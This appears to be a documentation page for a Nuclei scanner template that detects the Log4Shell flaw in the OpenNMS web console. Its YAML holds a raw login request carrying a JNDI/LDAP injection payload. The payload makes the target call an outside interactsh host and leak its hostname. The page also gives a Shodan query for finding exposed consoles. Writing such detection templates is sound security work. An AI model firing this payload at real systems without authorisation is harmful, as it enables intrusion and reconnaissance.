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OpenNMS - JNDI Remote Code Execution (Apache Log4j)

ID: opennms-log4j-jndi-rce

Severity: critical

Author: johnk3r

Tags: jndi,log4j,rce,opennms,cve,cve2021,kev,oast

Description

Section titled “Description”

OpenNMS JNDI is susceptible to remote code execution via Apache Log4j 2.14.1 and before. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

YAML Source

Section titled “YAML Source”
id: opennms-log4j-jndi-rce


info:
  name: OpenNMS - JNDI Remote Code Execution (Apache Log4j)
  author: johnk3r
  severity: critical
  description: |
    OpenNMS JNDI is susceptible to remote code execution via Apache Log4j 2.14.1 and before. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
  reference:
    - https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
    - https://www.opennms.com/en/blog/2021-12-10-opennms-products-affected-by-apache-log4j-vulnerability-cve-2021-44228/
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:opennms:horizon:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"OpenNMS Web Console"
    product: horizon
    vendor: opennms
  tags: jndi,log4j,rce,opennms,cve,cve2021,kev,oast
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        POST /opennms/j_spring_security_check HTTP/1.1
        Referer: {{RootURL}}/opennms/login.jsp
        Content-Type: application/x-www-form-urlencoded


        j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&j_password=password&Login=&j_usergroups=


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100bde8f6c86efc318742add624702d4e2232719b8eac26644fdefc445a5592590b02206a522c049811d1528a8c876b990abbfc068e7fa7327422226081522ed4c5c489:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/opennms-log4j-jndi-rce.yaml"

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